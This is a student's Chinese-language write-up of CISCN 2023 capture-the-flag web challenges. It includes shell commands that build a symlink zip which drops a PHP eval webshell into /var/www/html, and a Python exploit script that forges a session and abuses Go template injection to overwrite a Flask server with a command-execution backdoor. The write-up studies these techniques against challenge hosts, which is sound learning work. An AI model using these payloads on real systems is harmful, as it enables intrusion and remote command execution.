ciscn23初赛

wc还有一个月就要国赛初赛了,大二让我进一次吧,冲!

unzip

unzip: 分析成功

  1. 随意上传,Server: nginx/1.20.1,X-Powered-By: PHP/8.1.9,不对,是apache

  2. 分析一下代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    error_reporting(0);
    highlight_file(__FILE__);

    $finfo = finfo_open(FILEINFO_MIME_TYPE); # 常量返回 mime 类型。 自 PHP 5.3.0 可用
    if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    // 以上判断是否为zip文件
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
    };

    //only this!
  3. 找找切入点,我们可以进行操控的就是文件的内容,文件tmpname可以吗

    1. tmp_name用户原始上传文件名,可控?本机上不行,文件名是随机的bro在php中彻底断了想法
    2. unzip相关的漏洞
    3. tmp_name目录穿越 –> 不可行,随机文件名
    4. unzip to rce?没找到,但是有新的文章
      1. ,但是这里有realpath() –> 并特定注明Q1: 不能直接使用符号链接,这里没有realpath可以切入吗?这道题和国赛这题应用场景不一样的,有readfile()
      2. –> 有点意思,考虑使用软链接来搞,A1: 软链接应该是切入点
      3. –> 会保留符号链接,但是问题在于Q2: 这里都是写入?
    5. 或者unzip覆盖? –> 可以,-o表示覆盖已有文件并且不进行确认,unzip后文件名没有zip字
  4. 可以读取的话,这里也没得读取啊,软连接创建文件写入./kc1zs4.php?

    1. Q3: 这里需要搭配目录穿越吧?: 刚好有文章
      1. Q4: zipslip,但是没有php的
      2. –> 好像可以,为什么不试试?done,本地可以,应该通了
    2. 我们故意在zip -y link.zip link处忽略-y选项,可以做到直接创建文件,太棒了,上传木马文件
    1
    2
    3
    ln -s /var/www/html/kc1zs4.php link
    echo "<?php $_GET['a']?>" > link
    zip link.zip link
  5. 结果上传后没有反应,那肯定是我的问题,想想,本地可以生成啊?生成的问题?想一想生成过程,发现有可能kc1zs4.php是在ln生成符号链接后vim操作写入的,就是,这就是软连接的作用

    1. 那生成文件的问题?感觉就是软连接这个地方 –> 生辰文件shell.php就是靠zip来解压啊
    2. 回想到在php的open_basedir绕过地方有一个绕过方法也是使用符号链接,参考那个解法进行叠加?但是怎么写入,先试试吗,硬想想不到
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 目标目录
    ln -s /var/www/html link
    zip -y link.zip link

    # 现在可以访问到那一个目录,能访问到那不就好了啊
    # *思路,将包含木马的文件在对应的文件夹解压就好,所以要解压出来带有目录
    mkdir link/
    cd ./link
    echo "<?php eval($_GET['a'])?>" > kc1zs4.php
    cd ..
    zip link.zip link/* # 使用link/*解压后会有link文件夹及下列的内容
    # 获取的link.zip(zip文件名不重要,重要是包含link目录)文件就是我们的payload
    # link文件夹是用来联合利用link链接的
  6. 试试吧,不行再来本地,通了,nice:还是要抓住本质

unzip: 总结

虽然是web签到题,但是还是不容易啊,至少养成的思维是正确的

  1. 也是自己找到入口点了
  2. 始终要目标导向才能学好web啊,还是不能急,写入的目的是在目标目录写入文件,有解压?解压到目标目录?把已经确定的放在一起想想,比如这里软连接和目标目录
  3. 这里的Server并不是bp返回的nginx,而是访问其他目录后报错回来的apache –> 文件上传一般要确定服务器的类型
  4. 没事就多试试,不要想不到就一直找资料
  5. 确定点后想想性质,比如这里的符号链接可以直接使用这一点一开始没有想到

zip手法

原题

zip深入理解

zip slip

zip目录穿越

deserbug

裂开了,java还没咋学啊,看来这个月得来攻击java了(还有期末考sad

go-session

go-session 分析失败

  1. 分析一下代码
    1. 首先肯定是要session伪造,可知这里使用的seesion包是github.com/gorilla/sessions
    2. 其次在/flask下可以获取更多信息
      1. https://7454328f-a7c8-4944-9a81-9addd540329d.challenge.ctf.show/flask?name有东西,原来是Q1: 报错,sad,但是其中有一些代码,审计一下,要运行控制台进行交互的话需要pin
  2. 现在屡屡目标和方向吧
    1. session伪造然后ssti
    2. flask pin访问/flask控制台,为什么这里一直Q2: 没有反应,噢不对,A2: 这里的flask是重新发送了一个请求,艹了
  3. 决定先从session入手
    1. 这里的环境变量用于验证,是否需要获取Q3: SESSION_KEY,可能是一个搜索关键词
    2. 发现session中的Dv-BBAEC_4IAARABEAAAI_-CAAEGc3RyaW5nDAYABG5hbWUGc3RyaW5nDAcABWd1ZXN0居然可以base64解码出来,应该就是根据SEESION_KEY获取的内容了
  4. 所以下一步应该是ssrf打到flask里面去,因为只有这一个入口点了,前面报错有flask的一部分源码,ssrf没有目标入口啊???

go-session: 二战

一个月前看了这道题后一直没有再继续写,现在重新来学习一下,看看复现了24后能不能干一下23的

  1. 升级一波源码,有session伪造+ssti+ssrf,ssrf的应用跑在5000上,结合flask应该是flask?

  2. 第一步还是session伪造

    1. github.com/gorilla/sessions用到这个,还有SESSION_KEY,看样子拿不到,ai一下,说是会对数据进行签名防止篡改,用到就是这个session_key
    2. 爆破/原有漏洞/是弱爆破/空/像rsa公钥一样两个加密出公钥的?版本github.com/gorilla/sessions v1.2.1,没事爆破跑一下看看,还要配go环境,出了,密钥为空
  3. 接下来可以可有做到模板注入了,终点应该在flask那里,这里要通过go的ssti来攻击flask

  4. ai和查了一波,函数需要注册,只能拿使用gin.Context中的对象函数

    1. 能不能直接搞文件的,查查文档和源码
      1. File 可以读文件系统上的文件
      2. SaveUploadedFile 可以将文件存入指定目录中,但是权限是750,文件所有者可以写入,而同组用户和其他用户只能读取和执行,还可以
    2. 但是这里过滤了字符串,所以需要进行绕过,思路是通过参数传参,现在使用上有一个问题,就是返回回来的是数组,思路是通过遍历把值先存下来,有点麻烦,发现其实可以直接.0访问的,也算是gin(flask)的特性?
  5. 最终构造payload,脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    import requests

    host="http://b6bd1c73-f1aa-4eac-a3b8-3cfdd286a744.challenge.ctf.show"
    route1=""
    route2="/admin"
    route3="/flask"
    # 我的bp
    proxies = {
    "http": "http://127.0.0.1:8080",
    }

    session = requests.Session()

    session.cookies.set('session-name','MTczNDA1MjY1MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwJpiQeYXo_ua97V-bC9mZdIN88JtK84esq9YEmUYwJ3Q==')


    # # # poc failed:读取文件
    # r = session.get(host+route2,timeout=5,params={
    # "name": "{{c.File(c.Request.URL.Query.File.0)}}",
    # "File": "/app/server.py",
    # },proxies=proxies)
    # print(r.text)

    # # # poc:上传文件
    upload = {
    "server.py": ("server.py", open("/home/kc1zs4/Code/CTF/server.py", "rb"), "multipart/form-data"),
    }
    r = session.get(host+route2,timeout=5,proxies=proxies,
    params={
    "name": "{{c.Request.URL.Query.File.0}}{{c.Request.Query.Dir.0}}{{c.SaveUploadedFile(c.FormFile(c.Request.URL.Query.File.0),c.Request.URL.Query.Dir.0)}}",
    "File": "server.py",
    "Dir": "/app/server.py",
    },
    files=upload)
    print(r.text)

    # # # poc:flask服务
    params = "?name=?cmd=cat${IFS}/th1s_1s_f13g"
    # params = "?name=guest"
    r = session.get(host+route3+params,timeout=5,proxies=proxies)
    print(r.text)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # server.py 名称最好保持一样
    import flask
    import os

    app = flask.Flask(__name__)

    @app.route('/')
    def index():
    cmd = flask.request.args.get('cmd')
    if cmd:
    return os.popen(cmd).read()
    return 'Hello, KC1zs4'

    if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

go-session总结

  1. session签名:对于可以直接生成的东西不要一直揪着不放,想清楚一点你要什么,比如这里的NewCookieStore()的签名算法,知道一个签名一个加密就ok,总之后续可以直接调用函数来生成,这里主要是签名,抽象一下我们就只需要绕过密钥这一环节,考虑弱/无
  2. 有参函数调用:再模板处我们的思路是通过文件操作来实现控制,但是首先需要可以控制参数,我的做法是通过参数数组下标访问,看了一些题解还有一些方法可以实现
  3. debug模式利用:一个获取网站更多信息的情况是debug模式,而且python flask的**debug模式支持热加载(这是重点)**,这里可以结合已有的ssrf来进行覆写访问恶意服务,要有报错的意识pic
    1. ssrf一下,这里可以的到目录是/app/server.py,这里没法算pin,因为要任意读文件这里不满足
  4. 文件覆写gin利用:找到函数SaveUploadedFile,可以存入到指定目录,要指定multi-part才可以
  5. Q:为什么c.File()一直不可行?
    1. A:可能是不出网感觉,gpt是说涉及到http不行
      1. 上下文不一致:Gin 的 c.File 方法需要 *gin.Context,而模板渲染的上下文是 HTML 模板引擎的上下文。它们是不同的上下文,不能互换使用。
      2. 方法返回值要求:在模板中调用 Go 函数时,模板引擎要求函数返回值类型是特定的(通常是一个值和一个错误)。c.File 方法没有返回适合在模板中使用的值类型,这会导致错误。
  6. Q:一开始发包时为什么总是会显示301?
    1. A:可能是路由形式的不一定,如果修改admin/到/admin就可以了,**/这个符号还是很重要的**,可以在别的地方发包看看